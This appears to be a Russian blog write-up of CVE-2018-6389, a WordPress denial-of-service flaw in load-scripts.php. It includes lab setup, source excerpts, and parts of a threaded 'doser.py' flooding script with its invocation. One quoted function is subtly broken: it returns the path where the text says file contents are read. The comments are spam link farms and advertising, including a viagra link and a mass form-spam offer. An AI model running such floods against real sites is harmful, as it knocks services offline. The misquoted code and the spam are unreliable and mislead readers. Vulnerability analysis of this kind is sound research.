Wordpress

В WordPress, самой популярной CMS в мире, была найдена ошибка, которая позволяет вызывать отказ в обслуживании сайта, то есть DoS. Успешную эксплуатацию с легкостью возможно провести удаленно, и для этого не нужно обладать никакими правами в системе.

Брешь была обнаружена израильским ресерчером Бараком Тавили (он же Quitten), когда он изучал очередной проект на WordPress. Уязвимость получила идентификатор CVE-2018-6389 и присутствует на тысячах сайтов по всему миру, так как разработчики из WordPress Foundation не спешат признавать серьезность проблемы и исправлять ее. В результате от бага не избавлены даже самые свежие на момент написания статьи версии CMS — 4.9.5.

Итак, предлагаю посмотреть на уязвимость поближе, а там ты уже сам решишь, насколько страшен черт.

Стенд

По традиции используем контейнер Docker на Debian и седьмую версию PHP с Apache.

$ docker run -it —rm -p80:80 —name=wpdos —hostname=wpdos debian /bin/bash 
$ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli nano wget

Скачиваем и распаковываем WordPress версии 4.9.5:

$ cd /tmp && wget https://wordpress.org/wordpress-4.9.5.tar.gz 
$ tar xzf wordpress-4.9.5.tar.gz 
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/ 
$ chown -R www-data:www-data /var/www/html/

Запускаем необходимые сервисы:

$ service mysql start && service apache2 start 
$ mysql -u root -e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

Дальше дело за установкой WordPress через браузер.

Детали уязвимости

Итак, Quitten во время просмотра очередного сайта на WordPress обратил внимание на скрипт load-scripts.php. Он используется для отображения JavaScript. Названия загружаемых файлов указываются в параметре load, и при выводе их содержимое объединяется. Сделано это для того, чтобы ускорить загрузку страницы и уменьшить количество запросов к серверу.

Таким образом, чтобы браузер получил все нужные для корректного отображения файлы JS, достаточно сделать запрос на один скрипт load-scripts.php, в параметрах которого будут перечислены все необходимые файлы JavaScript. Это, кстати, довольно распространенная практика при разработке бэкенда. Та же логика у скрипта load-styles.php, только в отношении файлов CSS.

Посмотрим на исходный код load-scripts.php. Названия файлов указываются через запятую.

/wp-admin/load-scripts.php
17: $load = $_GET['load']; 
18: if ( is_array( $load ) ) 
19: $load = implode( '', $load ); 
20: 
21: $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load ); 
22: $load = array_unique( explode( ',', $load ) );

Какие же скрипты мы можем загрузить? Разумеется, произвольный файл прочитать не получится, существует четко прописанный список разрешенных объектов.

/wp-admin/load-scripts.php
48: foreach ( $load as $handle ) { 
49: if ( !array_key_exists($handle, $wp_scripts->registered) ) 
50: continue; 
51: 
52: $path = ABSPATH . $wp_scripts->registered[$handle]->src; 
53: $out .= get_file($path) . "\n"; 
54: }

Этот список находится в свойстве registered класса WP_Scripts и заполняется при помощи функции wp_default_scripts из файла script-loader.php.

/wp-admin/load-scripts.php

 

36: $wp_scripts = new WP_Scripts(); 
37: wp_default_scripts($wp_scripts); 
/wp-includes/script-loader.php

37: /** 
38: * Register all WordPress scripts. 
... 
46: * @param WP_Scripts $scripts WP_Scripts object. 
47: */ 
48: function wp_default_scripts( &$scripts ) {

Пополняется список разрешенных к загрузке файлов при помощи метода add.

/wp-includes/script-loader.php

 

048: function wp_default_scripts( &$scripts ) { 
... 
086: $scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 ); 
087: 
088: $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 ); 
... 
125: $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 ); 
...

В параметрах вызова указываются название элемента, путь до файла, зависимости от других элементов, версия и прочее.

/wp-includes/class.wp-scripts.php

 

18: class WP_Scripts extends WP_Dependencies { 
/wp-includes/class.wp-dependencies.php

206: public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) { 
207: if ( isset($this->registered[$handle]) ) 
208: return false; 
209: $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); 
210: return true; 
211: } 

Полный список всех вызовов загружаемых элементов можно найти тут. Всего их 181. По умолчанию загружаются минифицированные версии скриптов.

/wp-includes/script-loader.php
67: $suffix = SCRIPT_DEBUG ? '' : '.min'; 
68: $dev_suffix = $develop_src ? '' : '.min';

Вызов загрузки скрипта utils.min.js через load-scripts.php

Смысл в том, что бы прочитать все возможные JS-файлы одним запросом. Он получается монструозным,  но вместо многоточия в конце должно идти еще 170 названий файлов.

Время, прошедшее от отправления запроса до первого полученного байта ответа, равно ~500 миллисекунд. Примерно столько сервер обрабатывал этот запрос.

Загрузка всех JS-файлов одновременно через запрос к load-scripts.php
Каждый файл читается отдельно при помощи file_get_contents.

/wp-admin/includes/noop.php
102: function get_file( $path ) { 
103: 
104: if ( function_exists('realpath') ) { 
105: $path = realpath( $path ); 
106: } 
107: 
108: if ( ! $path || ! @is_file( $path ) ) { 
109: return ''; 
110: } 
111: 
112: return $path ; 
113: }

Получается, что каждый запрос будет вызывать 181 операцию ввода-вывода, и если таких запросов будет много, то в скором времени у сервера могут начаться проблемы. Особенно это касается сайтов на shared-хостингах.

Теперь давайте организуем множественные запросы к такому URL. Тавили (aka Quitten) для этих целей использовал самописную утилиту под названием doser, которая выполняет запросы к серверу в указанное количество потоков. Сам скрипт написан на Python 2.7 с использованием библиотек requests и threading.

Процедура вызова проста:

$ python doser.py -g <url> -t 999

Ключ g говорит нам, что нужно отправлять запросы методом GET, а с помощью t можно указать количество потоков.

doser.py

067: def sendGET(url): 
... 
070: try: 
071: request_counter+=1 
072: request = requests.get(url, headers=headers) 
... 
094: while True: 
095: global url 
096: sendGET(url) 
... 
113: def main(argv): 
... 
115: parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'') 
... 
119: parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int) 
... 
128: for i in range(args.t): 
129: t = SendGETThread()

Возможно, решение не самое быстрое и оптимальное, но скрипт работает добросовестно и с задачей справляется. После двух тысяч запросов наш простенький сервер уже недоступен для обычного пользователя.

Успешно проведенная DoS-атака
Чтобы добавить еще немного нагрузки, можешь дополнительно отправлять запросы на загрузку файлов CSS через load-styles.php.

Выводы

Вот такой нестандартный вектор атаки. Конечно, импакт от его использования не слишком серьезный, иначе мы бы уже наблюдали массовый «падёж». Правильно настроенный выделенный сервер от такого трюка пострадать не должен. А вот на shared-хостингах стоят лимиты на потребляемые ресурсы, и, если они исчерпаются, могут возникнуть проблемы. Так, во время тестирования на одном из моих сайтов хостер заспамил мне почту сообщениями о превышении выделенных лимитов.

Почему же в WordPress не считают это своей проблемой и не торопятся исправлять? С одной стороны, разработчиков можно понять: они не несут ответственности за использование их CMS на слабых или некорректно настроенных серверах (WordPress вообще-то далеко не самая легкая CMS). Но это совсем не то, что хочется слышать от разработчиков системы, на которой работает большинства сайтов в мире.

Tags:

  • Показать Комментарии (11)

  • ROY

    Держите сайт на WordPress. Рассказываете про уязвимость на WordPress

    Лол)

  • Annaliz

    [url=http://child-blog.ru/beremennost/kalendar-beremennosti]месяц задержки какой срок беременности[/url]
    — Ну, милая моя, – успокаивала меня доктор, – токсикоз это обычное явление для большинства женщин. Осталось потерпеть не долго: в 12 недель все закончится. Радуйся тому, что твоя беременность развивается так, как надо.
    [url=http://child-blog.ru/beremennost/kalendar-beremennosti/31-nedelya-beremennosti.html][img]https://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Bebelus-nou-nascut2.jpg/1200px-Bebelus-nou-nascut2.jpg[/img][/url]
    Я терпеливо ждала 12-й недели, временами продолжала отторгать содержимое моего бедного желудка.
    [url=http://child-blog.ru/beremennost/dekretnyj-otpusk-i-viplaty-posobiya.html]с какой недели декретный отпуск в 2020[/url]
    Как оказалось, не все мои беременные подруги страдали токсикозом. Более того, наличие токсикоза вовсе не показатель нормального течения беременности. Вот что мне удалось выяснить про этого «зверя»:
    [url=http://child-blog.ru/beremennost/kalendar-beremennosti]pregnant club калькулятор[/url]

  • AaronCen

    https://xn--d1abbab2adzbibjdkw2d.xn--p1ai — Комплексное строительство железнодорожных путей

  • vfkffStodymn

    Hello. And Bye.
    tytlbrnsxStodymn

  • Annaliz

    [url=http://child-blog.ru/beremennost/kalendar-beremennosti/29-nedelya-beremennosti.html]29 неделя плод низко[/url]
    С чем сравнить?
    [url=http://child-blog.ru/beremennost/kalendar-beremennosti/19-nedelya-beremennosti.html][img]http://www.rebenokdogoda.ru/wp-content/uploads/2013/01/885351-large.jpg[/img][/url]
    На пятой неделе беременности малыш размером с семечко подсолнуха.
    [url=http://child-blog.ru/beremennost/problemy/prichiny-i-lechenie-otechnosti-vo-vremya-beremennosti.html]как определить отечность при беременности[/url]
    Средние размеры плодного яйца в первом триместре беременности.
    [url=http://child-blog.ru/beremennost/kalendar-beremennosti/11-nedelya-beremennosti-chto-proishodit-na-etoj-nedele.html]развитие малыша на 11 неделе[/url]

  • motorhoicA

    Посмотреть [url=https://moscowakb.ru/shop/akkumulyatory-dlya-legkovykh-avtomobiley/akkumulyatory-dlya-folksvagen-s-dostavkoy-i-ustano/]Заменить АКБ на Touareg 4.2[/url] или [url=https://moscowakb.ru/shop/page7/]Купить Аккумулятор Touareg 2015[/url]
    Аккумулятор Mercedes ML W166 320 2012

    https://moscowakb.ru/shop/page2/

  • Дмитрий

    Представьте, что Ваше коммерческое предложение отправлено в формы обратной связи миллиона сайтов.
    Как считаете, сколько заявок Вы получите?
    Представьте, что даже всего 1% обратили внимание на Ваше предложение, это 10 000 человек.
    Даже если 1% из них целевые, это 100 потенциальных клиентов, которые хотят заказать Ваш продукт.

    Но все зависит от Вашего направления. Например, вряд-ли предпринимателю из Санкт-Петербурга будет интересна доставка пиццы в Сочи.
    Но если Вашу услугу можно заказать онлайн или у Вас B2B направление (любые услуги, в которых целевая аудитория другие компании/предприниматели), то такая реклама идеально для Вас подойдет.
    Например, Вы фрилансер, маркетолог, у Вас интернет-магазин или даже продаете мед.маски оптом.
    Большой плюс рассылки по формам в том, что т.к. львиная доля ЦА владельцы/администраторы сайтов, поэтому средняя платежеспособность ЦА высокая.
    Конечно, среди миллиона сайтов будут и сайты-блоги, далеко не все получатели будут целевыми.
    Но из-за очень больших объемов, даже 1% = огромный охат.

    Теперь перейдем к гарантиям.
    Мы понимаем, что в интернете встречается всякое, поэтому чтобы Вам было спокойнее:
    1)Перед рассылкой мы предоставим скриншот из программы с Вашим проектом, подтверждающий готовность к запуску
    2)Во время рассылки у Вас будет доступ к обратному емайлу, чтобы Вы могли отслеживать процесс рассылки в онлайн-режиме
    3)По завершении рассылки отправим скриншоты с подробными отчетами о результатах рассылки, подтверждающие выполнение обязательств с нашей стороны.

    Хотите, составим для Вас коммерческое предложение, согласуем с Вами и запустим рекламу?
    Свяжитесь с нами в течении суток и в качестве бонуса составление оффера будет бесплатным.
    Все подробности также отправим в ответном сообщении.
    Наш E-mail: formmarketing2020@gmail.com

    ВАЖНО:
    Пожалуйста, в сообщении указывайте Ваш контактный ватсап либо телеграм, для удобной и более оперативной связи.
    Названивать или использовать Ваши контакты для какой-либо другой цели, кроме оперативной связи мы не будем.

    P.S. Извините за беспокойство, если мы с Вами уже сотрудничаем.
    С Уважением, руководитель команды Formarketing.

  • Finley

    Hurrah, that’s what I was exploring for, what a material!
    present here at this web site, thanks admin of this site.

    Here is my website … buy viagra online without prescription

  • ArthurEffiz

    [img]https://colorprofi.ru/wp-content/uploads/2018/05/%D0%91%D0%B5%D0%B7-%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8-3-1.jpg[/img]
    Советы по строительству и ремонту!
    https://colorprofi.ru/

  • Jamesboili

    Protective face respirator FFP2, 5-ply. Retail and small wholesale. https://virussprotection.com/tproduct/165827994-620047250891-respiratormask-standard-kn95-ffp2-3pcs-5 This product is in stock in the USA. Price is only $ 1.9. Fast and free shipping throughout the United States

  • nilihoicA

    [url=https://extraint.ru/catalog/torsher_noctambule]Купить Sub Zero в Москве[/url] или [url=https://extraint.ru/catalog/categ/lustry/page/1/]Christopfer Guy[/url]

    https://extraint.ru/catalog/zhurnalnyj_stolik_l_kirar_bie_91662

Ваш адрес электронной почты не будет опубликован. Обязательные поля отмечены *

Комментарий *

  • Имя

  • email *